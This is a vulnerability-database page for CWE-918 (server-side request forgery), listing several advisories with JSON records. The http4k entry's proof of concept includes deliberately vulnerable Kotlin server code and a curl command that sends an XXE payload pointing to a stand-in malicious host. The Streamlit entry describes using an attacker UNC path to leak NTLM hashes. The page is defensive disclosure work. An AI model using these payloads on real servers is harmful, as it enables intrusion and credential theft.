CWE-918
AllowedServer-Side Request Forgery (SSRF)
Abstraction: Base · Status: Incomplete
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
4734 vulnerabilities reference this CWE, most recent first.
GHSA-7MJ5-HJJJ-8RGW
Vulnerability from github – Published: 2024-12-12 19:22 – Updated: 2026-06-09 10:42Summary
Short summary of the problem. Make the impact and severity as clear as possible. For example: An unsafe deserialization vulnerability allows any unauthenticated user to execute arbitrary code on the server.
There is a potential XXE(XML External Entity Injection) vulnerability when http4k handling malicious XML contents within requests, which might allow attackers to read local sensitive information on server, trigger Server-side Request Forgery and even execute code under some circumstances.
Details
Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer. https://github.com/http4k/http4k/blob/25696dff2d90206cc1da42f42a1a8dbcdbcdf18c/core/format/xml/src/main/kotlin/org/http4k/format/Xml.kt#L42-L46 XML contents is parsed with DocumentBuilder without security settings on or external entity enabled
PoC
Complete instructions, including specific configuration details, to reproduce the vulnerability.
Example Vulnerable server code:
import org.http4k.core.*
import org.http4k.format.Xml.xml
import org.http4k.server.Netty
import org.http4k.server.asServer
import org.w3c.dom.Document
fun main() {
val xmlLens = Body.xml().toLens()
// Create an HTTP handler
val app: HttpHandler = { request ->
try {
// Parse the incoming XML payload to a Document object
val xmlDocument: Document = xmlLens(request)
// Extract root element name or other details from the XML
val rootElementName = xmlDocument.documentElement.nodeName
// Create a response XML based on the extracted information
val responseXml = """
<response>
<message>Root element is: $rootElementName</message>
</response>
""".trimIndent()
// Respond with XML
Response(Status.OK).body(responseXml).header("Content-Type", "application/xml")
} catch (e: Exception) {
// Handle invalid XML or other errors
Response(Status.BAD_REQUEST).body("Invalid XML: ${e.message}")
}
}
// Start the server
val server = app.asServer(Netty(9000)).start()
println("Server started on http://localhost:9000")
}
Maven dependency:
<dependencies>
<dependency>
<groupId>org.jetbrains.kotlin</groupId>
<artifactId>kotlin-test-junit5</artifactId>
<version>1.9.0</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.junit.jupiter</groupId>
<artifactId>junit-jupiter-engine</artifactId>
<version>5.10.0</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.jetbrains.kotlin</groupId>
<artifactId>kotlin-stdlib</artifactId>
<version>1.9.0</version>
</dependency>
<dependency>
<groupId>org.http4k</groupId>
<artifactId>http4k-core</artifactId>
<version>5.40.0.0</version>
</dependency>
<!-- Http4k XML format -->
<dependency>
<groupId>org.http4k</groupId>
<artifactId>http4k-format-xml</artifactId>
<version>5.40.0.0</version>
</dependency>
<!-- http4k Netty -->
<dependency>
<groupId>org.http4k</groupId>
<artifactId>http4k-server-netty</artifactId>
<version>5.40.0.0</version>
</dependency>
</dependencies>
Exploit payload example to trigger SSRF
curl -X POST http://localhost:9000 -H "Content-Type: application/xml" -d "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE root [<!ENTITY xxe SYSTEM \"https://replace.with.your.malicious.website/poc\">]><root>&xxe;</root>"
Impact
What kind of vulnerability is it? Who is impacted? The servers that employ this XML parsing feature of http4k are vulnerable to this XXE vulnerability
Follow-up patch — v6.50.0.0 (May 2026)
The original fix shipped in v5.41.0.0 / v4.50.0.0 closed the documented external-entity attack class (SSRF, local-file disclosure, code execution) by setting ACCESS_EXTERNAL_DTD="", ACCESS_EXTERNAL_SCHEMA="", and isExpandEntityReferences=false on the default DocumentBuilderFactory.
A residual gap remained: the parser still accepted documents containing <!DOCTYPE> declarations even though external entity resolution was blocked. This left open billion-laughs-style internal entity expansion DoS attacks against any application using Body.xml() or Document.asXmlDocument() on untrusted XML.
v6.50.0.0 closes this residual by adding disallow-doctype-decl=true and FEATURE_SECURE_PROCESSING=true to defaultXmlParsingConfig. Any document containing a <!DOCTYPE> is now rejected at parse time.
Follow-up affected & fixed versions
| Version | Fixed Version |
|---|---|
>= 5.41.0.0, < 6.50.0.0 |
6.50.0.0 |
v6.x users should upgrade to v6.50.0.0. The patch is part of the v6.50.0.0 release; no separate backport is required for the v6 line. Older v5 / v4 users remain on the v5.41.0.0 / v4.50.0.0 fix (external-entity protection); the billion-laughs residual is fixed in those lines only via http4k EE LTS releases — contact enterprise@http4k.org if you need it.
Follow-up timeline
| Date/time (UTC) | Notes |
|---|---|
| 31/05/2026 17:12 | Follow-up patch merged (commit c0cfaf5d63) with new tests for <!DOCTYPE> rejection and billion-laughs payload rejection |
| 31/05/2026 18:06 | http4k v6.50.0.0 released to Maven Central |
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.http4k:http4k-format-xml"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.50.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-55875"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-611",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2024-12-12T19:22:01Z",
"nvd_published_at": "2024-12-12T19:15:13Z",
"severity": "CRITICAL"
},
"details": "### Summary\n_Short summary of the problem. Make the impact and severity as clear as possible. For example: An unsafe deserialization vulnerability allows any unauthenticated user to execute arbitrary code on the server._\n\nThere is a potential XXE(XML External Entity Injection) vulnerability when http4k handling malicious XML contents within requests, which might allow attackers to read local sensitive information on server, trigger Server-side Request Forgery and even execute code under some circumstances.\n\n### Details\n_Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._\nhttps://github.com/http4k/http4k/blob/25696dff2d90206cc1da42f42a1a8dbcdbcdf18c/core/format/xml/src/main/kotlin/org/http4k/format/Xml.kt#L42-L46\nXML contents is parsed with DocumentBuilder without security settings on or external entity enabled\n\n### PoC\n_Complete instructions, including specific configuration details, to reproduce the vulnerability._\n#### Example Vulnerable server code:\n```\nimport org.http4k.core.*\nimport org.http4k.format.Xml.xml\nimport org.http4k.server.Netty\nimport org.http4k.server.asServer\nimport org.w3c.dom.Document\n\nfun main() {\n\n val xmlLens = Body.xml().toLens()\n\n // Create an HTTP handler\n val app: HttpHandler = { request -\u003e\n try {\n // Parse the incoming XML payload to a Document object\n val xmlDocument: Document = xmlLens(request)\n\n // Extract root element name or other details from the XML\n val rootElementName = xmlDocument.documentElement.nodeName\n\n // Create a response XML based on the extracted information\n val responseXml = \"\"\"\n \u003cresponse\u003e\n \u003cmessage\u003eRoot element is: $rootElementName\u003c/message\u003e\n \u003c/response\u003e\n \"\"\".trimIndent()\n\n // Respond with XML\n Response(Status.OK).body(responseXml).header(\"Content-Type\", \"application/xml\")\n } catch (e: Exception) {\n // Handle invalid XML or other errors\n Response(Status.BAD_REQUEST).body(\"Invalid XML: ${e.message}\")\n }\n }\n\n // Start the server\n val server = app.asServer(Netty(9000)).start()\n println(\"Server started on http://localhost:9000\")\n}\n```\n#### Maven dependency:\n```\n\u003cdependencies\u003e\n \u003cdependency\u003e\n \u003cgroupId\u003eorg.jetbrains.kotlin\u003c/groupId\u003e\n \u003cartifactId\u003ekotlin-test-junit5\u003c/artifactId\u003e\n \u003cversion\u003e1.9.0\u003c/version\u003e\n \u003cscope\u003etest\u003c/scope\u003e\n \u003c/dependency\u003e\n \u003cdependency\u003e\n \u003cgroupId\u003eorg.junit.jupiter\u003c/groupId\u003e\n \u003cartifactId\u003ejunit-jupiter-engine\u003c/artifactId\u003e\n \u003cversion\u003e5.10.0\u003c/version\u003e\n \u003cscope\u003etest\u003c/scope\u003e\n \u003c/dependency\u003e\n \u003cdependency\u003e\n \u003cgroupId\u003eorg.jetbrains.kotlin\u003c/groupId\u003e\n \u003cartifactId\u003ekotlin-stdlib\u003c/artifactId\u003e\n \u003cversion\u003e1.9.0\u003c/version\u003e\n \u003c/dependency\u003e\n\n \u003cdependency\u003e\n \u003cgroupId\u003eorg.http4k\u003c/groupId\u003e\n \u003cartifactId\u003ehttp4k-core\u003c/artifactId\u003e\n \u003cversion\u003e5.40.0.0\u003c/version\u003e\n \u003c/dependency\u003e\n\n \u003c!-- Http4k XML format --\u003e\n \u003cdependency\u003e\n \u003cgroupId\u003eorg.http4k\u003c/groupId\u003e\n \u003cartifactId\u003ehttp4k-format-xml\u003c/artifactId\u003e\n \u003cversion\u003e5.40.0.0\u003c/version\u003e\n \u003c/dependency\u003e\n\n \u003c!-- http4k Netty --\u003e\n \u003cdependency\u003e\n \u003cgroupId\u003eorg.http4k\u003c/groupId\u003e\n \u003cartifactId\u003ehttp4k-server-netty\u003c/artifactId\u003e\n \u003cversion\u003e5.40.0.0\u003c/version\u003e\n \u003c/dependency\u003e\n \u003c/dependencies\u003e\n```\n#### Exploit payload example to trigger SSRF\n`curl -X POST http://localhost:9000 -H \"Content-Type: application/xml\" -d \"\u003c?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?\u003e\u003c!DOCTYPE root [\u003c!ENTITY xxe SYSTEM \\\"https://replace.with.your.malicious.website/poc\\\"\u003e]\u003e\u003croot\u003e\u0026xxe;\u003c/root\u003e\"`\n\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\nThe servers that employ this XML parsing feature of http4k are vulnerable to this XXE vulnerability\n\n### Follow-up patch \u2014 v6.50.0.0 (May 2026)\n\nThe original fix shipped in v5.41.0.0 / v4.50.0.0 closed the documented external-entity attack class (SSRF, local-file disclosure, code execution) by setting `ACCESS_EXTERNAL_DTD=\"\"`, `ACCESS_EXTERNAL_SCHEMA=\"\"`, and `isExpandEntityReferences=false` on the default `DocumentBuilderFactory`.\n\nA residual gap remained: the parser still **accepted** documents containing `\u003c!DOCTYPE\u003e` declarations even though external entity resolution was blocked. This left open billion-laughs-style internal entity expansion DoS attacks against any application using `Body.xml()` or `Document.asXmlDocument()` on untrusted XML.\n\n **v6.50.0.0** closes this residual by adding `disallow-doctype-decl=true` and `FEATURE_SECURE_PROCESSING=true` to `defaultXmlParsingConfig`. Any document containing a `\u003c!DOCTYPE\u003e` is now rejected at parse time.\n\n#### Follow-up affected \u0026 fixed versions\n\n | Version | Fixed Version |\n |---------|---------------|\n | `\u003e= 5.41.0.0, \u003c 6.50.0.0` | **6.50.0.0** |\n\nv6.x users should upgrade to v6.50.0.0. The patch is part of the v6.50.0.0 release; no separate backport is required for the v6 line. Older v5 / v4 users remain on the v5.41.0.0 / v4.50.0.0 fix (external-entity protection); the billion-laughs residual is fixed in those lines only via http4k EE LTS releases \u2014 contact [enterprise@http4k.org](mailto:enterprise@http4k.org) if you need it.\n\n#### Follow-up timeline\n\n | Date/time (UTC) | Notes |\n |-----------------|-------|\n | 31/05/2026 17:12 | Follow-up patch merged (commit [`c0cfaf5d63`](https://github.com/http4k/http4k/commit/c0cfaf5d63)) with new tests for `\u003c!DOCTYPE\u003e` rejection and billion-laughs payload rejection |\n | 31/05/2026 18:06 | http4k v6.50.0.0 released to Maven Central |",
"id": "GHSA-7mj5-hjjj-8rgw",
"modified": "2026-06-09T10:42:52Z",
"published": "2024-12-12T19:22:01Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/http4k/http4k/security/advisories/GHSA-7mj5-hjjj-8rgw"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-55875"
},
{
"type": "WEB",
"url": "https://github.com/http4k/http4k/commit/35297adc6d6aca4951d50d8cdf17ff87a8b19fbc"
},
{
"type": "PACKAGE",
"url": "https://github.com/http4k/http4k"
},
{
"type": "WEB",
"url": "https://github.com/http4k/http4k/blob/25696dff2d90206cc1da42f42a1a8dbcdbcdf18c/core/format/xml/src/main/kotlin/org/http4k/format/Xml.kt#L42-L46"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "http4k has a potential XXE (XML External Entity Injection) vulnerability"
}
GHSA-7MV6-9483-R3CP
Vulnerability from github – Published: 2024-11-22 21:32 – Updated: 2024-11-22 21:32A server-side request forgery (SSRF) vulnerability has been reported to affect Notes Station 3. If exploited, the vulnerability could allow remote authenticated attackers to read application data.
We have already fixed the vulnerability in the following version: Notes Station 3 3.9.7 and later
{
"affected": [],
"aliases": [
"CVE-2024-38645"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-22T16:15:25Z",
"severity": "CRITICAL"
},
"details": "A server-side request forgery (SSRF) vulnerability has been reported to affect Notes Station 3. If exploited, the vulnerability could allow remote authenticated attackers to read application data.\n\nWe have already fixed the vulnerability in the following version:\nNotes Station 3 3.9.7 and later",
"id": "GHSA-7mv6-9483-r3cp",
"modified": "2024-11-22T21:32:15Z",
"published": "2024-11-22T21:32:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-38645"
},
{
"type": "WEB",
"url": "https://www.qnap.com/en/security-advisory/qsa-24-36"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-7MXG-R76P-363G
Vulnerability from github – Published: 2024-04-03 06:30 – Updated: 2024-04-03 15:34Server Side Request Forgery (SSRF) vulnerability in Gleez Cms 1.2.0, allows remote attackers to execute arbitrary code and obtain sensitive information via modules/gleez/classes/request.php.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "gleez/cms"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.2.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-27312"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2024-04-03T15:34:31Z",
"nvd_published_at": "2024-04-03T06:15:07Z",
"severity": "CRITICAL"
},
"details": "Server Side Request Forgery (SSRF) vulnerability in Gleez Cms 1.2.0, allows remote attackers to execute arbitrary code and obtain sensitive information via modules/gleez/classes/request.php.",
"id": "GHSA-7mxg-r76p-363g",
"modified": "2024-04-03T15:34:31Z",
"published": "2024-04-03T06:30:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-27312"
},
{
"type": "WEB",
"url": "https://github.com/gleez/cms/issues/805"
},
{
"type": "WEB",
"url": "https://gist.github.com/LioTree/8d10d123d31f50db05a25586e62a87ba"
},
{
"type": "PACKAGE",
"url": "https://github.com/gleez/cms"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Gleez Cms Server Side Request Forgery (SSRF) vulnerability"
}
GHSA-7P48-42J8-8846
Vulnerability from github – Published: 2026-03-25 21:20 – Updated: 2026-03-27 21:36Streamlit Open Source Security Advisory
1. Impacted Products
Streamlit Open Source versions prior to 1.54.0 running on Windows hosts.
2. Introduction
Snowflake Streamlit Open Source addressed a security vulnerability affecting Windows deployments related to improper handling and validation of filesystem paths within component request handling. The vulnerability was reported through the responsible disclosure program and has been remediated in Streamlit Open Source version 1.54.0. This issue affects only Streamlit deployments running on Windows operating systems.
3. Server-Side Request Forgery (SSRF) and NTLM Credential Exposure
3.1 Description
Streamlit was informed by a security researcher of an unauthenticated Server-Side Request Forgery (SSRF) vulnerability. The vulnerability arises from improper validation of attacker-supplied filesystem paths. In certain code paths, including within the ComponentRequestHandler, filesystem paths are resolved using os.path.realpath() or Path.resolve() before sufficient validation occurs.
On Windows systems, supplying a malicious UNC path (e.g., \\attacker-controlled-host\share) can cause the Streamlit server to initiate outbound SMB connections over port 445. When Windows attempts to authenticate to the remote SMB server, NTLMv2 challenge-response credentials of the Windows user running the Streamlit process may be transmitted.
This behavior may allow an attacker to:
- Perform NTLM relay attacks against other internal services
- Identify internally reachable SMB hosts via timing analysis
Note: The issue is unauthenticated and does not require user interaction.
Captured NTLMv2 challenge-response hashes could be subjected to offline brute-force attacks in an attempt to recover the associated plaintext account password. While NTLMv2 incorporates a server challenge (nonce) that mitigates the use of precomputed rainbow tables, it does not prevent targeted offline password cracking against weak credentials.
Additionally, Microsoft has publicly discouraged the continued use of NTLM in favor of Kerberos and is actively progressing toward disabling NTLM by default in future Windows releases. Organizations that enforce NTLM restrictions, disable outbound NTLM authentication, require SMB signing, or block NTLM authentication to remote servers can reduce or eliminate the risk associated with credential relay or hash exposure scenarios.
As NTLM is considered legacy and increasingly deprecated (though not fully sunset), environments that have already implemented Microsoft-recommended NTLM hardening controls are less likely to be materially impacted. The overall risk therefore depends on the organization's authentication configuration and network security posture.
3.2 Scenarios and Attack Vectors
Streamlit applications running on Windows were vulnerable if component endpoints were exposed to untrusted networks. By appending an attacker-controlled SMB hostname to the URI path and issuing a GET request, the Streamlit server could be coerced into initiating an outbound SMB authentication attempt.
This could result in the leakage of NTLMv2 credential hashes for the Windows account running the Streamlit process.
3.3 Resolution
- The vulnerability has been fixed in Streamlit Open Source version 1.54.0.
- It is recommended that all Streamlit deployments on Windows be upgraded immediately to version 1.54.0 or later.
4. Contact
Please contact security@snowflake.com for any questions regarding this advisory.
If a security vulnerability is discovered in a Streamlit product or website, it should be reported through the responsible disclosure program. For more information, see the Vulnerability Disclosure Policy.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "Streamlit"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.54.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33682"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-25T21:20:52Z",
"nvd_published_at": "2026-03-26T22:16:30Z",
"severity": "MODERATE"
},
"details": "# Streamlit Open Source Security Advisory\n\n## 1. Impacted Products\n\nStreamlit Open Source versions prior to 1.54.0 running on Windows hosts.\n\n## 2. Introduction\n\nSnowflake Streamlit Open Source addressed a security vulnerability affecting Windows deployments related to improper handling and validation of filesystem paths within component request handling. The vulnerability was reported through the responsible disclosure program and has been remediated in Streamlit Open Source version 1.54.0. This issue affects only Streamlit deployments running on Windows operating systems.\n\n## 3. Server-Side Request Forgery (SSRF) and NTLM Credential Exposure\n\n### 3.1 Description\n\nStreamlit was informed by a security researcher of an unauthenticated Server-Side Request Forgery (SSRF) vulnerability. The vulnerability arises from improper validation of attacker-supplied filesystem paths. In certain code paths, including within the `ComponentRequestHandler`, filesystem paths are resolved using `os.path.realpath()` or `Path.resolve()` before sufficient validation occurs.\n\nOn Windows systems, supplying a malicious UNC path (e.g., `\\\\attacker-controlled-host\\share`) can cause the Streamlit server to initiate outbound SMB connections over port 445. When Windows attempts to authenticate to the remote SMB server, NTLMv2 challenge-response credentials of the Windows user running the Streamlit process may be transmitted.\n\nThis behavior may allow an attacker to:\n\n- Perform NTLM relay attacks against other internal services\n- Identify internally reachable SMB hosts via timing analysis\n\n\u003e **Note:** The issue is unauthenticated and does not require user interaction.\n\nCaptured NTLMv2 challenge-response hashes could be subjected to offline brute-force attacks in an attempt to recover the associated plaintext account password. While NTLMv2 incorporates a server challenge (nonce) that mitigates the use of precomputed rainbow tables, it does not prevent targeted offline password cracking against weak credentials.\n\nAdditionally, Microsoft has publicly discouraged the continued use of NTLM in favor of Kerberos and is actively progressing toward disabling NTLM by default in future Windows releases. Organizations that enforce NTLM restrictions, disable outbound NTLM authentication, require SMB signing, or block NTLM authentication to remote servers can reduce or eliminate the risk associated with credential relay or hash exposure scenarios.\n\nAs NTLM is considered legacy and increasingly deprecated (though not fully sunset), environments that have already implemented Microsoft-recommended NTLM hardening controls are less likely to be materially impacted. The overall risk therefore depends on the organization\u0027s authentication configuration and network security posture.\n\n### 3.2 Scenarios and Attack Vectors\n\nStreamlit applications running on Windows were vulnerable if component endpoints were exposed to untrusted networks. By appending an attacker-controlled SMB hostname to the URI path and issuing a GET request, the Streamlit server could be coerced into initiating an outbound SMB authentication attempt.\n\nThis could result in the leakage of NTLMv2 credential hashes for the Windows account running the Streamlit process.\n\n### 3.3 Resolution\n\n- The vulnerability has been fixed in Streamlit Open Source version 1.54.0.\n- It is recommended that all Streamlit deployments on Windows be upgraded immediately to version 1.54.0 or later.\n\n## 4. Contact\n\nPlease contact [security@snowflake.com](mailto:security@snowflake.com) for any questions regarding this advisory.\n\nIf a security vulnerability is discovered in a Streamlit product or website, it should be reported through the responsible disclosure program. For more information, see the [Vulnerability Disclosure Policy](https://hackerone.com/snowflake).",
"id": "GHSA-7p48-42j8-8846",
"modified": "2026-03-27T21:36:34Z",
"published": "2026-03-25T21:20:52Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/streamlit/streamlit/security/advisories/GHSA-7p48-42j8-8846"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33682"
},
{
"type": "WEB",
"url": "https://github.com/streamlit/streamlit/commit/23692ca70b2f2ac720c72d1feb4f190c9d6eed76"
},
{
"type": "PACKAGE",
"url": "https://github.com/streamlit/streamlit"
},
{
"type": "WEB",
"url": "https://github.com/streamlit/streamlit/releases/tag/1.54.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Unauthenticated SSRF Vulnerability in Streamlit on Windows (NTLM Credential Exposure)"
}
GHSA-7P58-RQ3F-P4J3
Vulnerability from github – Published: 2021-12-07 00:00 – Updated: 2021-12-08 00:01An SSRF issue was discovered in SquaredUp for SCOM 5.2.1.6654.
{
"affected": [],
"aliases": [
"CVE-2021-40091"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-12-06T21:15:00Z",
"severity": "CRITICAL"
},
"details": "An SSRF issue was discovered in SquaredUp for SCOM 5.2.1.6654.",
"id": "GHSA-7p58-rq3f-p4j3",
"modified": "2021-12-08T00:01:49Z",
"published": "2021-12-07T00:00:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-40091"
},
{
"type": "WEB",
"url": "https://support.squaredup.com"
},
{
"type": "WEB",
"url": "https://support.squaredup.com/hc/en-us/articles/4410656394129-CVE-2021-40091-SSRF-issue"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-7P6R-CHVR-633V
Vulnerability from github – Published: 2024-07-18 18:31 – Updated: 2024-07-18 18:31The server responded with an HTTP status of 500, indicating a server-side error that may cause the server process to die.
{
"affected": [],
"aliases": [
"CVE-2024-30125"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-07-18T18:15:05Z",
"severity": "MODERATE"
},
"details": "The server responded with an HTTP status of 500, indicating a server-side error that may cause the server process to die.",
"id": "GHSA-7p6r-chvr-633v",
"modified": "2024-07-18T18:31:42Z",
"published": "2024-07-18T18:31:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-30125"
},
{
"type": "WEB",
"url": "https://support.hcltechsw.com/csm?id=kb_article\u0026sysparm_article=KB0113886"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-7P9J-PRV8-54XC
Vulnerability from github – Published: 2024-05-22 09:31 – Updated: 2024-05-22 09:31The Memberpress plugin for WordPress is vulnerable to Blind Server-Side Request Forgery in all versions up to, and including, 1.11.29 via the 'mepr-user-file' shortcode. This makes it possible for authenticated attackers, with Contributor-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.
{
"affected": [],
"aliases": [
"CVE-2024-5031"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-22T09:15:13Z",
"severity": "HIGH"
},
"details": "The Memberpress plugin for WordPress is vulnerable to Blind Server-Side Request Forgery in all versions up to, and including, 1.11.29 via the \u0027mepr-user-file\u0027 shortcode. This makes it possible for authenticated attackers, with Contributor-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.",
"id": "GHSA-7p9j-prv8-54xc",
"modified": "2024-05-22T09:31:47Z",
"published": "2024-05-22T09:31:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-5031"
},
{
"type": "WEB",
"url": "https://memberpress.com/change-log"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/80064e3b-6996-49eb-a475-0ffe0e894f9e?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-7PH6-CH7R-F425
Vulnerability from github – Published: 2024-08-09 18:30 – Updated: 2024-08-09 18:30Server-side request forgery vulnerability in Energy Management Controller with Cloud Services JH-RVB1 /JH-RV11 Ver.B0.1.9.1 and earlier allows a network-adjacent unauthenticated attacker to send an arbitrary HTTP request (GET) from the affected product.
{
"affected": [],
"aliases": [
"CVE-2024-23788"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-02-14T10:15:08Z",
"severity": "CRITICAL"
},
"details": "Server-side request forgery vulnerability in Energy Management Controller with Cloud Services JH-RVB1 /JH-RV11 Ver.B0.1.9.1 and earlier allows a network-adjacent unauthenticated attacker to send an arbitrary HTTP request (GET) from the affected product.",
"id": "GHSA-7ph6-ch7r-f425",
"modified": "2024-08-09T18:30:44Z",
"published": "2024-08-09T18:30:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-23788"
},
{
"type": "WEB",
"url": "https://jp.sharp/support/taiyo/info/JVNVU94591337_en.pdf"
},
{
"type": "WEB",
"url": "https://jp.sharp/support/taiyo/info/JVNVU94591337_jp.pdf"
},
{
"type": "WEB",
"url": "https://jvn.jp/en/vu/JVNVU94591337"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-7PJJ-942Q-WRWG
Vulnerability from github – Published: 2026-06-03 21:30 – Updated: 2026-06-04 15:30An issue in Koha v.25.11 and before allows a remote attacker to execute arbitrary code via the Z39.50 configuration module
{
"affected": [],
"aliases": [
"CVE-2026-26379"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-03T19:16:25Z",
"severity": "MODERATE"
},
"details": "An issue in Koha v.25.11 and before allows a remote attacker to execute arbitrary code via the Z39.50 configuration module",
"id": "GHSA-7pjj-942q-wrwg",
"modified": "2026-06-04T15:30:33Z",
"published": "2026-06-03T21:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26379"
},
{
"type": "WEB",
"url": "https://g03m0n.github.io"
},
{
"type": "WEB",
"url": "https://g03m0n.github.io/posts/cve-2026-26379"
},
{
"type": "WEB",
"url": "https://github.com/Koha-Community/Koha"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-7PRM-XHFC-RPV3
Vulnerability from github – Published: 2025-03-27 12:30 – Updated: 2026-04-01 18:34Server-Side Request Forgery (SSRF) vulnerability in XpeedStudio Metform allows Server Side Request Forgery. This issue affects Metform: from n/a through 3.9.2.
{
"affected": [],
"aliases": [
"CVE-2025-30914"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-27T11:15:52Z",
"severity": "MODERATE"
},
"details": "Server-Side Request Forgery (SSRF) vulnerability in XpeedStudio Metform allows Server Side Request Forgery. This issue affects Metform: from n/a through 3.9.2.",
"id": "GHSA-7prm-xhfc-rpv3",
"modified": "2026-04-01T18:34:09Z",
"published": "2025-03-27T12:30:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-30914"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/metform/vulnerability/wordpress-metform-elementor-contact-form-builder-plugin-3-9-2-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
No mitigation information available for this CWE.
CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.